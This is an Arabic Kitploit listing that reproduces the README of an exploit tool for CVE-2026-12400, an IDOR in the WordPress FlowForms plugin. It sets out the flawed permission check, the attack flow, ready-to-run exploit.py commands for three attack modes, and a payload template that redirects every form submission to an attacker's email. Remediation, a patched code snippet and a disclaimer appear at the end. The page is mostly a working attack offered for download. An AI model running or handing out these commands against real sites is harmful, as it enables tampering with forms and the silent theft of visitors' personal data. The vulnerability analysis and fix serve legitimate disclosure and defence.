Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-12400-Exploit — # استغلال IDOR مُوثَّق في ووردبريس لثغرة CVE-2026-12400؛ يقوم بتعداد معرّفات نماذج REST الخاصة بـ FlowForms وتعديل محتوى النماذج أو اختطاف إشعارات البريد الإلكتروني. | Kitploit
أدوات/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليم
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

# استغلال IDOR مُوثَّق في ووردبريس لثغرة CVE-2026-12400؛ يقوم بتعداد معرّفات نماذج REST الخاصة بـ FlowForms وتعديل محتوى النماذج أو اختطاف إشعارات البريد الإلكتروني.

عرض المستودع
13منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-12400 — FlowForms IDOR: تعديل غير مصرح به للنموذج

إحالة مرجع كائن غير آمنة (مصادق عليها بمستوى محرر+) لتعديل عشوائي للنموذج في FlowForms ≤ 1.1.1

نظرة عامة على الثغرة

الخاصيةالقيمة
معرف CVECVE-2026-12400
درجة CVSS4.3 — متوسطة
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (تجاوز التفويض من خلال مفتاح يتحكم به المستخدم)
المنتجFlowForms — إضافة منشئ نماذج المحادثة لووردبريس
المتأثرجميع الإصدارات حتى 1.1.1
تم الإصلاح فيتم الإصلاح في 1.1.2
الباحثPhantom Hat

التحليل الفني

دراسة حالة كاملة بالصندوق الأبيض مع تحليل شفرة المصدر، تتبع تدفق الإدخال، ومقارنة التصحيح:

📄 دراسة حالة CVE-2026-12400 — Medium

سطح الهجوم

يُظهر FlowForms نقطتي نهاية REST اثنتين تحت مساحة اسم flowforms/v1 تكونان عرضة للخطر:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

كلتاهما تقبل {id} التي يتحكم بها المستخدم في مسار URL وتعدل بيانات النموذج المستهدف — الاسم والمحتوى والتخطيط وعنوان URL لإعادة التوجيه ومستلمي إشعارات البريد الإلكتروني.

السبب الجذري

كلا مسجلي المسار الضعيفين يشاركان نفس permission_callback المعيبة:

root@kitploit:~
// تحديث محتوى النموذج / الاسم
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// تحديث إعدادات النموذج (إشعارات البريد الإلكتروني، التخطيط، إلخ.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts هي صلاحية يمتلكها المحررون المساهمون. لا يتم أبدًا التحقق من المعامل {id} مقابل ملكية المستخدم الطالب — يمكن لأي مستخدم مصادق أن يستهدف أي معرف نموذج على الموقع.

تدفق الهجوم

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) المصادقة كمحرر مساهم
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) استخراج nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) تعداد النماذج المنشورة
        │<─ HTTP 200 ───────────────────────│      (أي نموذج يمكن الوصول إليه هو هدف)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) الكتابة فوق اسم النموذج / محتواه
        │       مع حمولة المهاجم ──────────>│       ← لا يوجد فحص للمالك
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) اختطاف إشعارات البريد الإلكتروني
        │       /settings ─────────────────>│       ← يتلقى المهاجم جميع
        │<─ { "success": true } ────────────│         إرسالات النماذج المستقبلية
        │                                   │
        │   جميع نواقل الهجوم الثلاثة مؤكدة  │  (5) الاسم ✔  المحتوى ✔  البريد الإلكتروني ✔

ثلاثة نواقل هجوم

الوضعنقطة النهايةالتأثير
الاسم/forms/{id}إعادة تسمية أي نموذج — تشويه، هندسة اجتماعية
المحتوى/forms/{id}الكتابة فوق التخطيط، شاشات الترحيب/الشكر، عنوان URL لإعادة التوجيه
البريد الإلكتروني/forms/{id}/settingsاختطاف إشعار البريد الإلكتروني — استقبال جميع إرسالات النماذج بصمت

وضع البريد الإلكتروني هو الأكثر حرجية. بعد الاختطاف، يتم توجيه كل إرسال إلى نموذج الاتصال الخاص بالضحية — بما في ذلك المعلومات الشخصية للزوار والرسائل وتفاصيل الاتصال — بصمت إلى العنوان الذي يتحكم به المهاجم. لا يرى مسؤول الموقع أي مؤشر على التغيير.


استخدام الأداة الاستغلالية

المتطلبات الأساسية

  • Python 3.8+
  • حساب مصادق بدور على الأقل Contributor على الموقع المستهدف

التثبيت

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

أوضاع التشغيل

تعديل الاسم

إعادة تسمية أي نموذج إلى محتوى يتحكم به المهاجم:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

تعديل المحتوى

الكتابة فوق تخطيط النموذج والشاشات وعنوان URL لإعادة التوجيه والصور الخلفية:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

اختطاف إشعار البريد الإلكتروني (أعلى تأثير)

توجيه جميع إشعارات إرسال النماذج المستقبلية إلى عنوان يتحكم به المهاجم:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

باستخدام وكيل (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

مرجع كامل للوسوم

الوسمالمختصرالوصفمطلوب
--url-uعنوان URL المستهدف لووردبريس✅
--userاسم المستخدم في ووردبريس (محرر مساهم+)✅
--passwordكلمة مرور ووردبريس✅
--id-start-iمعرف البداية لتعداد النماذج✅
--num-forms-nعدد معرفات النماذج لتعدادها✅
--exploitوضع الهجوم: name / content / email✅
--proxy-pعنوان URL للوكيل (مثال http://127.0.0.1:8080)❌

تخصيص الحمولات

قوالب حمولة JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) معرفة في أعلى السكريبت. قم بتعديلها قبل التشغيل لتخصيص محتوى الهجوم — تغيير عنوان البريد الإلكتروني للإشعار، عنوان URL لإعادة التوجيه، الصورة الخلفية، عنوان النموذج، إلخ.

root@kitploit:~
# أعلى ملف exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← غيّر هذا
                    ...
                }
            }
        }
    }
}""")

سير العمل الاستغلالي

يقوم الأداة الاستغلالية بثلاث خطوات آلية:

الخطوة 1 — المصادقة تسجيل الدخول كمهاجم (محرر مساهم) واستخراج nonce REST صالح من wp-admin/post-new.php.

الخطوة 2 — تعداد النماذج فحص GET /flowform/{id} عبر نطاق المعرفات المحدد. يتم جمع المعرفات التي تعيد HTTP 200 كأهداف يمكن الوصول إليها — هذه نماذج منشورة تابعة لأي مستخدم على الموقع، بما في ذلك المسؤولين.

الخطوة 3 — الاستغلال اعتمادًا على الوضع المحدد، يتم إرسال الحمولة المقابلة إلى نقطة نهاية REST غير المحمية:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

يقبل الخادم الطلب ويطبق التعديل دون أي فحص للملكية.


الإصلاح

الإجراءالتفاصيل
التصحيحاستبدال فحص edit_posts العام بـ current_user_can('edit_post', $form_id) على كلتا نقطتي النهاية — ربط فحص الصلاحية بكائن المنشور المحدد يفرض قواعد ملكية ووردبريس
التخفيفحتى يتم التصحيح، قم بتقييد صلاحيات دوري Contributor و Author إذا كانت الإضافة نشطة

التنفيذ الآمن

root@kitploit:~
// ضعيف — كلتا نقطتي النهاية
'permission_callback' => fn() => current_user_can('edit_posts'),

// آمن (مصحح)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

المراجع

  • CWE-639 — تجاوز التفويض من خلال مفتاح يتحكم به المستخدم
  • register_rest_route() — وثائق مطوري ووردبريس
  • current_user_can() — وثائق مطوري ووردبريس
  • إضافة FlowForms — WordPress.org

هيكل المشروع

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # أداة استغلالية محسّنة مع واجهة غنية (3 أوضاع)
├── requirements.txt            # تبعيات بايثون
└── README.md                   # هذا الملف

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب القوانين المطبقة في جميع أنحاء العالم. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذا البرنامج. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.


المؤلف

Phantom Hat — باحث أمني مستقل

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

تم إجراء هذا البحث كجزء من الإفصاح المسؤول عن الثغرات.

تنزيل الأداة